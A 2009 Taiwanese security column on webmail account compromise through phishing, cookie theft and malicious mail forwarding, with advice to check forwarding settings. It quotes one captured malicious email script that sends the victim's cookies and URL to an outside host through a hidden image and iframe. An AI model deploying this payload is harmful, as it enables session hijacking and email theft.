https://www.informationsecurity.com.tw/Seminar/2024_PaloAlto/
https://www.informationsecurity.com.tw/Seminar/2024_PaloAlto/

觀點

電子郵件密碼修改無效

2009 / 07 / 09
林佳明
電子郵件密碼修改無效
許多人認為只要定期修改電子郵件密碼、不點選惡意郵件及連結,駭客就不會找上你;但其實駭客會利用更高明的手法,讓你一步步掉下陷阱!

  相信每個人在使用網路時,幾乎無法不瀏覽網站以及收發電子郵件。而每一位電腦的使用者最少都會有一個電子郵件信箱。這個信箱可能是公司配給、使用者申請ISP的網路服務(例如,ADSL或者數據機撥接)時所贈與的,又或者是使用者自行向電子郵件供應商(例如,Yahoo、Gmail、mail2000等)所購買或申請的帳號。原始的電子郵件服務是透過SMTP與POP協定來提供郵件收取和寄送的服務。然而為了服務那些身處防火牆僅開放HTML協定的企業中,使用者或是有特殊安全需求的公司,如一些公家機關或者是特殊團體,由於資源不足或工作需要,使用免費電子郵件來進行公務上的往來,這些提供電子郵件服務的單位便將網頁和電子郵件給結合在一起,提供網頁形式的電子郵件功能來服務客戶,讓用戶可以透過網頁來收發電子郵件。但是這也讓駭客多了一條可以透過網頁的管道來入侵你的電子郵件。

  傳統且常見的手法,就是使用社交工程結合網路釣魚,竊取你的電子郵件登入資訊。駭客會假冒各種人,用可被信服的資訊來騙取帳號與密碼。例如,駭客使用電子郵件供應商Gmail小組的名義通知你,因為各式各樣服務上的理由導致帳號將被封鎖,所以要求必須輸入帳號與密碼來再次確認身分或開通服務。

  由於使用者的警戒心提升,傳統假冒管理者寄信的方式已經不容易騙到那些有警覺心的用戶。所以駭客改變社交工程的手法,換個角度來詐騙密碼。例如最近最常見的方法就是駭客利用即時通訊,例如MSN、Yahoo!奇摩即時通等,傳來超連結,欺騙你輸入即時通訊的帳號密碼。有時候,你所使用的即時通訊的密碼就「正好」是電子郵件的密碼,在你輸入即時通訊的密碼的同時,也洩露了登入電子郵件用的密碼。

篡改網頁呈現方式 收發E-mail

  或者駭客會利用網頁瀏覽器會執行Javascript的特性,來改變網頁的呈現方式進而欺騙使用者。我們舉一個實際的案例,受害者通報他會收到一封看起來都是無意義字串的信件)。

  由於大部分網頁形式的電子郵件不像桌面環境中的電子郵件收發軟體可以設定以純文字型式讀取信件或者在開啟信件之前先讀取信件的原始內容。所以為了確認是不是惡意的信件,使用者必須點選該信件才能得知信件內容。然而開啟了案例的該信件之後,瀏覽器卻會跳離收件環境而顯示電子郵件
的登入畫面。

  從事後分析信件的原始格式發現原來該信件是寫入「document.write()」程式碼,讓瀏覽器轉跳到別的網址呈現別的樣貌。詳細信件內文原始碼如下:document.write("<html><head></head><body><img src=\"http://218.x.x.x/hotmail/hotmail.asp?id=89999&uid=hot mail&url="+window.location+";"+document.cookie+"\" style=\"position:absolute; visibility:hidden\"><iframe src=http://218.x . x . x / h o t m a i l / i n d e x . a s p ? i d = 8 9 9 9 9 & u r l = " + w i n d o w .location+";"+document.cookie+"\" width=100%height=100%frameborder=0 scrolling=\"no\" style=\"position:absolute; left:0;top:0\"></iframe></body></html>");document.close();

  然而改變網頁的呈現方式只是JavaScript部分的攻擊功能而已。透過Script的執行,駭客就可以進行網頁中專門針對使用者的XSS(Cross Site Scripting)攻擊。筆者在處理某起資安事件的時候,使用者很自豪的表示,在開啟電子郵件後發現這些騙取帳號的網頁,雖然不會輸入自己真實的帳號密碼,但是會故意輸入假的帳號和密碼來愚弄駭客。甚至會保留這些信件偶爾故意點取該信件來展示給其他使用者看,或者是定期去輸入假的資料。孰不知在點開這封信件的時候你的登入資訊(cookie)就跟隨著網頁參數(hotmail.asp?...url="+window.location+";"+document. cookie+")讓人給偷走了,雖然駭客沒有取得密碼但是透過cookie還是可以登入網頁收發你的電子郵件,使用者卻還沾沾自喜的到處展示自己是如何故意輸入錯誤資訊。

「轉寄」功能 潛藏危機

  以上都還是傳統的網頁式電子郵件的入侵方法,然而經過了幾年的攻防以及網頁電子郵件供應商開放了更多的功能讓駭客有了一個新的入侵方式。檢視大部分廠商的入侵解決方案,都是告訴你如果網頁式電子郵件帳號被入侵最好的解決方法就
是修改登入的密碼。這個方法在目前的情況下來說,只對了一半。因為修改密碼之後,駭客還是可以在沒有密碼以及cookie的狀況下持續的竊取、接收你的電子郵件!

  由於網路的發達加上申請免費電子郵件的便利,所以一個人可能同時擁有多個不同供應商所提供的電子郵件帳號,或是在同一供應商申請了多個帳號。而電子郵件供應商為了服務這些擁有多個帳號的使用者,讓他們能在單一帳號內收到不同帳號所有的信件,便提供了「轉寄」的功能。轉寄功能可將使用者收到的信件都再傳送、備份一份給預先設定過的電子郵件帳號。於是駭客便利用這一項貼心的轉寄功能來備份你的電子郵件。所以現在的駭客在利用以上所介紹過的詐欺手法來騙取到你的帳號、密碼或cookie之後,除了會定期的登入你的電子郵件帳號來收取信件之外,還會設定將信件轉寄到駭客所申請的電子郵件帳號中做備份。所以就算未來使用者將電子郵件的密碼進行修改,駭客還是可以持續接收到該使用者所接收的電子郵件。

  筆者已知有提供轉寄功能的常見電子郵件供應商有Google、Hotmail以及Hinet。據聞Yahoo!奇摩信箱則是要成為VIP會員就會提供轉寄功能。因此使用者應定期(或者馬上)檢查你的轉寄功能是被設定了未知的電子郵件帳號。舉例來說,Gmail的使用者要檢視轉寄功能是否被設定,先登入Gmail後點選右上角的[設定],在設定畫面再選擇[轉寄和POP/IMAP],檢查「轉寄內收郵件的副本給###」欄位是否被選擇並填入電子郵件帳號。

  Hinet的信箱則是無法從一般的電子郵件收發頁面來檢視並設定轉寄功能。而是要連線到網址http://webmail1.hinet.net/來檢視與設定轉寄功能;不過hinet所提供的轉寄功能有一項限制就是不支援msa.hinet.net所屬的帳號,也就是說只有ms##.hinet.net(##代表任何數字)上的帳號才有被設定轉寄的危險。

  各位親愛的使用者,最近有沒有常接到親朋好友的報怨?抱怨寄給你的信件常常會被退信!如果你最近常接到這樣的投訴的話,請立即去檢查你的轉寄功能是否已經被偷偷濫用了。會有這樣的情形很有可能是因為駭客轉寄了太多人的信箱,導致駭客的信箱空間不足因此退信,進而害你被親友抱怨。不管是哪一種的系統,只要提供越多方便的功能,就越容易遭受駭客的濫用。對使用者來說在申請以及使用電子郵件服務的時候,請務必了解廠商提供了哪些「便利」的功能,以及這些功能是否已經被濫用了!對資訊安全人員來說,也請務必在電子郵件事件處理的復原步驟中,除了要求使用者修改密碼之外,也應該加入檢查轉寄功能的程序,確保已經將駭客的威脅徹底的解除了。